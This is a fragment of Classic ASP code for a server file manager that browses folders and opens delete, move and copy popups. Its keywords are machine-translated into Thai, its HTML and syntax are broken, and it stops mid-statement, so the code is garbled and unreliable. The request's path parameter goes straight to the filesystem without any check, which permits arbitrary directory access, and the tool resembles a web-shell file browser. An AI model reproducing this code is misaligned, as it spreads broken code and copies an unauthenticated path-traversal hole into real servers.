การจัดการการอ่านและแก้ไขไฟล์

-

urlpath = http: //&request.serverVariables (server_name)

สลัว cpath, lpath

ตั้งค่า fsobrowse = createObject (scripting.filesystemobject)

หากคำขอ (เส้นทาง) = จากนั้น

lpath =/

อื่น

lpath = คำขอ (เส้นทาง) &/

สิ้นสุดถ้า

ถ้าคำขอ (attrib) = จริงแล้ว

cpath = lpath

attrib = true

อื่น

cPath = server.mappath (lpath)

attrib =

สิ้นสุดถ้า

ย่อย getFolder ()

หรี่

ถ้า fsobrowse.folderexists (cPath) แล้ว

ตั้งค่า folder = fsobrowse.getFolder (cPath)

ตั้งค่า thesubfolders = thefolder.subfolders

Response.write <a href = 'list.asp? path = & คำขอ (oldpath) && attrib = & attrib &'> <font color = '#ff8000'> ■ </font> ↑ <font color = 'ff2222'> 回上级目录 </font> </a> <bbr>

Response.write <table border = '0' width = '100%' cellpadding = '0'>

สำหรับแต่ละ x ใน thesubfolders

Response.write <tr> <td width = '50%'> <a href =' list.asp? path = & lpath & x.name && oldpath = & คำขอ (เส้นทาง) && attrib = & attrib & '> └ <font color ='#ff8000 '> ■ </font> & x.name &

response.write <td> <a href =# onclick = javaScript: window.open ('delete.asp@spath= & server.urlencode (lpath) & & server.urlencode (x.name) & & AIM = Floders ',' Hyne_love_achye ',' Toolbar = NO, Scrollbars = ใช่, resizable = ใช่, ความกว้าง = 600, ความสูง = 400 ');> <font color ='#ff8000 '> × </font> 删除 </a> </td>

response.write <td> <a href =# onclick = javaScript: window.open ('move.asp@spath= & server.urlencode (lpath) & & server.urlencode (x.name) & & AIM = Floders ',' Hyne_love_achye ',' Toolbar = NO, Scrollbars = ใช่, resizable = ใช่, ความกว้าง = 600, ความสูง = 400 ');> <font color ='#ff8000 '> × </font> 移改 </a> </td>

response.write <td> <a href =# onclick = javaScript: window.open ('copy.asp@spath= & server.urlencode (lpath) & & server.urlencode (x.name) & & aim = floders ',' hyne_love_achye ',' toolbar = ไม่, scrollbars = ใช่, resizable = ใช่, ความกว้าง = 600, ความสูง = 400 ');> <font color ='#ff8000 '> × </font>

ต่อไป

Response.write </bable>

สิ้นสุดถ้า

สิ้นสุดย่อย

ย่อย getFile ()

หรี่ไฟ

ถ้า fsobrowse.folderexists (cPath) แล้ว

ตั้งค่า folder = fsobrowse.getFolder (cPath)

ตั้งค่า files = thefolder.files

Response.write <table border = '0' width = '100%' cellpadding = '0'>

สำหรับแต่ละ x ในไฟล์

ถ้าคำขอ (attrib) = จริงแล้ว

showsTring = <strong> & x.name & </strong>

อื่น

showstring = <a href =# onclick = javaScript: window.open ('& urlpath & lpath & server.urlencode (x.name) &', 'hyne_love_achye', 'toolbar = ไม่, scrollbars = ใช่ resizable = ใช่, ความกว้าง = 600, ความสูง = 400')